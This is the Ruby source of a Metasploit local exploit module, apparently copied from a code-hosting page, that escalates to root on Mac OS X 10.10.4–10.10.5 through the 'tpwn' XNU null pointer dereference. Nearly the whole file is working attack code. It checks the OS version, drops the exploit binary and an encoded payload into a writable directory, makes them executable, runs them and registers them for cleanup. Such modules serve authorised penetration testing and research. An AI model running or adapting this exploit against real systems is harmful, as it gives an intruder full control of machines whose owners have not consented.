113 lines
2.8 KiB
Ruby
113 lines
2.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::OSX::Priv
|
|
include Msf::Post::OSX::System
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Mac OS X "tpwn" Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a null pointer dereference in XNU to escalate
|
|
privileges to root.
|
|
|
|
Tested on 10.10.4 and 10.10.5.
|
|
},
|
|
'Author' => [
|
|
'qwertyoruiop', # Vulnerability discovery and PoC
|
|
'wvu' # Copy/paste monkey
|
|
],
|
|
'References' => [
|
|
['URL', 'https://github.com/kpwn/tpwn']
|
|
],
|
|
'DisclosureDate' => '2015-08-16',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X64,
|
|
'SessionTypes' => ['shell'],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
['Mac OS X 10.10.4-10.10.5', {}]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
|
]
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def check
|
|
ver?? CheckCode::Appears : CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
if is_root?
|
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
|
end
|
|
|
|
if check != CheckCode::Appears
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
|
|
unless writable? base_dir
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
print_status("Writing exploit to `#{exploit_file}'")
|
|
write_file(exploit_file, binary_exploit)
|
|
register_file_for_cleanup(exploit_file)
|
|
|
|
print_status("Writing payload to `#{payload_file}'")
|
|
write_file(payload_file, binary_payload)
|
|
register_file_for_cleanup(payload_file)
|
|
|
|
print_status('Executing exploit...')
|
|
cmd_exec(sploit)
|
|
print_status('Executing payload...')
|
|
cmd_exec(payload_file)
|
|
end
|
|
|
|
def ver?
|
|
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
|
|
Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')
|
|
)
|
|
end
|
|
|
|
def sploit
|
|
"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
|
|
end
|
|
|
|
def binary_exploit
|
|
File.read(File.join(
|
|
Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
|
|
))
|
|
end
|
|
|
|
def binary_payload
|
|
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
|
end
|
|
|
|
def exploit_file
|
|
@exploit_file ||=
|
|
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
|
|
end
|
|
|
|
def payload_file
|
|
@payload_file ||=
|
|
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
|
|
end
|
|
end
|